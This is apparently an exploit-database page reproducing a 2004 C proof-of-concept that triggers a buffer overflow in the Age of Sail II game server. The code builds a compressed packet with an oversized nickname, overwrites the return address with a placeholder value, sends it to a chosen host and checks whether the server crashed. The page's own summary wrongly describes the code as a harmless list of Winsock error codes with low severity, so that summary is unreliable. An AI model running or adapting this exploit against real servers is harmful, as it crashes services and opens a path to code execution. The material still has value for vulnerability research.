header-logo
Suggest Exploit
vendor:
by:
Luigi Auriemma
3.3
CVSS
LOW
Error handling vulnerability
398
CWE
Product Name:
Affected Version From:
Affected Version To:
Patch Exists: NO
Related CWE:
CPE:
Metasploit:
Other Scripts:
Platforms Tested: Windows
Unknown

Winsock Error Codes

This code snippet shows a list of error codes related to Winsock (Windows Sockets) in a C program. These error codes are used to handle different types of errors that can occur during socket operations. The code snippet also includes a function called std_err() that handles these errors and prints the corresponding error message. This information can be useful for understanding and debugging network programming in Windows.

Mitigation:

Developers should handle these error codes properly and provide meaningful error messages to users in their applications. They should also follow best practices for error handling in network programming.
Source

Exploit-DB raw data:

/*

by Luigi Auriemma

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <zlib.h>

#ifdef WIN32
    #include <winsock.h>
#include <string.h>
#include <errno.h>



void std_err(void) {
    char    *error;

    switch(WSAGetLastError()) {
        case 10004: error = "Interrupted system call"; break;
        case 10009: error = "Bad file number"; break;
        case 10013: error = "Permission denied"; break;
        case 10014: error = "Bad address"; break;
        case 10022: error = "Invalid argument (not bind)"; break;
        case 10024: error = "Too many open files"; break;
        case 10035: error = "Operation would block"; break;
        case 10036: error = "Operation now in progress"; break;
        case 10037: error = "Operation already in progress"; break;
        case 10038: error = "Socket operation on non-socket"; break;
        case 10039: error = "Destination address required"; break;
        case 10040: error = "Message too long"; break;
        case 10041: error = "Protocol wrong type for socket"; break;
        case 10042: error = "Bad protocol option"; break;
        case 10043: error = "Protocol not supported"; break;
        case 10044: error = "Socket type not supported"; break;
        case 10045: error = "Operation not supported on socket"; break;
        case 10046: error = "Protocol family not supported"; break;
        case 10047: error = "Address family not supported by protocol family"; break;
        case 10048: error = "Address already in use"; break;
        case 10049: error = "Can't assign requested address"; break;
        case 10050: error = "Network is down"; break;
        case 10051: error = "Network is unreachable"; break;
        case 10052: error = "Net dropped connection or reset"; break;
        case 10053: error = "Software caused connection abort"; break;
        case 10054: error = "Connection reset by peer"; break;
        case 10055: error = "No buffer space available"; break;
        case 10056: error = "Socket is already connected"; break;
        case 10057: error = "Socket is not connected"; break;
        case 10058: error = "Can't send after socket shutdown"; break;
        case 10059: error = "Too many references, can't splice"; break;
        case 10060: error = "Connection timed out"; break;
        case 10061: error = "Connection refused"; break;
        case 10062: error = "Too many levels of symbolic links"; break;
        case 10063: error = "File name too long"; break;
        case 10064: error = "Host is down"; break;
        case 10065: error = "No Route to Host"; break;
        case 10066: error = "Directory not empty"; break;
        case 10067: error = "Too many processes"; break;
        case 10068: error = "Too many users"; break;
        case 10069: error = "Disc Quota Exceeded"; break;
        case 10070: error = "Stale NFS file handle"; break;
        case 10091: error = "Network SubSystem is unavailable"; break;
        case 10092: error = "WINSOCK DLL Version out of range"; break;
        case 10093: error = "Successful WSASTARTUP not yet performed"; break;
        case 10071: error = "Too many levels of remote in path"; break;
        case 11001: error = "Host not found"; break;
        case 11002: error = "Non-Authoritative Host not found"; break;
        case 11003: error = "Non-Recoverable errors: FORMERR, REFUSED, NOTIMP"; break;
        case 11004: error = "Valid name, no data record of requested type"; break;
        default: error = strerror(errno); break;
    }
    fprintf(stderr, "\nError: %s\n", error);
    exit(1);
}




    #define close   closesocket
#else
    #include <unistd.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <arpa/inet.h>
    #include <netinet/in.h>
    #include <netdb.h>
#endif



#define VER     "0.1"
#define PORT    7732
#define BUFFSZ  2048
#define NICKSZ  144
#define RET     0xdeadc0de
#define TIMEOUT 3



int zip_it(u_char *in, int size, u_char *out, int maxsz);
int timeout(int sock);
u_long resolv(char *host);
void std_err(void);



int main(int argc, char *argv[]) {
    struct      sockaddr_in peer;
    int         sd,
                len;
    u_short     port = PORT;
    u_char      buff[BUFFSZ],
                pck[BUFFSZ];


    setbuf(stdout, NULL);

    fputs("\n"
        "Age of Sail II <= 1.04.151 server buffer overflow "VER"\n"
        "by Luigi Auriemma\n"
        "e-mail: aluigi@altervista.org\n"
        "web:    http://aluigi.altervista.org\n"
        "\n", stdout);

    if(argc < 2) {
        printf("\n"
            "Usage: %s <host> [port(%d)]\n"
            "\n"
            " Return address will be overwritten with 0x%08x\n"
            "\n", argv[0], port, RET);
        exit(1);
    }

#ifdef WIN32
    WSADATA    wsadata;
    WSAStartup(MAKEWORD(1,0), &wsadata);
#endif

    if(argc > 2) port = atoi(argv[2]);

    peer.sin_addr.s_addr = resolv(argv[1]);
    peer.sin_port        = htons(port);
    peer.sin_family      = AF_INET;

    sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    if(sd < 0) std_err();

    printf("\n"
        "- connect to %s:%hu...",
        inet_ntoa(peer.sin_addr), port);
    if(connect(sd, (struct sockaddr *)&peer, sizeof(peer))
      < 0) std_err();
    fputs("ok\n\n", stdout);

    memset(pck, 0x00, BUFFSZ);                      // needed
    *(u_short *)(pck + 4) = 2;                      // dunno (?)
    *(u_short *)(pck + 6) = NICKSZ;                 // nickname size
    memset(pck + 8, 'a', NICKSZ);                   // nickname
    *(u_long *)(pck + 8 + NICKSZ - 4) = RET;        // return address
    *(u_long *)(pck + NICKSZ + 44) = 0xffffffff;    // dunno (?)
    *(u_long *)(pck + NICKSZ + 50) = 0x02060123;    // client version
    len = 8 + NICKSZ + 36 + 6 + 4;
    *(u_short *)(pck + 2) = len - 4;                // size - 4

    len = zip_it(pck, len, buff + 4, BUFFSZ - 4) + 4;
    *(u_long *)buff = len;
    printf("- send buffer-overflow data, return address will be overwritten with 0x%08x\n", RET);
    if(send(sd, buff, len, 0)
      < 0) std_err();

    fputs("- check if server is vulnerable:\n", stdout);
    if((timeout(sd) < 0) || (recv(sd, buff, BUFFSZ, 0) <= 0)) {
        fputs("\nServer IS vulnerable!!!!!!!\n\n", stdout);
    } else {
        fputs("\nServer doesn't seem vulnerable\n\n", stdout);
    }

    close(sd);

    return(0);
}



int zip_it(u_char *in, int size, u_char *out, int maxsz) {
    z_stream        z;
    int             ret;

    z.zalloc = (alloc_func)0;
    z.zfree  = (free_func)0;
    z.opaque = (voidpf)0;

    if(deflateInit(&z, Z_BEST_COMPRESSION)) {
        fputs("\nError: zlib initialization error\n", stdout);
        exit(1);
    }

    z.next_in   = in;
    z.avail_in  = size;
    z.next_out  = out;
    z.avail_out = maxsz;
    deflate(&z, Z_FINISH);

    ret = z.total_out;
    deflateEnd(&z);
    return(ret);
}



int timeout(int sock) {
    struct  timeval tout;
    fd_set  fd_read;
    int     err;

    tout.tv_sec = TIMEOUT;
    tout.tv_usec = 0;
    FD_ZERO(&fd_read);
    FD_SET(sock, &fd_read);
    err = select(sock + 1, &fd_read, NULL, NULL, &tout);
    if(err < 0) std_err();
    if(!err) return(-1);
    return(0);
}



u_long resolv(char *host) {
    struct  hostent *hp;
    u_long  host_ip;

    host_ip = inet_addr(host);
    if(host_ip == INADDR_NONE) {
        hp = gethostbyname(host);
        if(!hp) {
            printf("\nError: Unable to resolve hostname (%s)\n", host);
            exit(1);
        } else host_ip = *(u_long *)(hp->h_addr);
    }
    return(host_ip);
}



#ifndef WIN32
    void std_err(void) {
        perror("\nError");
        exit(1);
    }
#endif

// milw0rm.com [2004-03-03]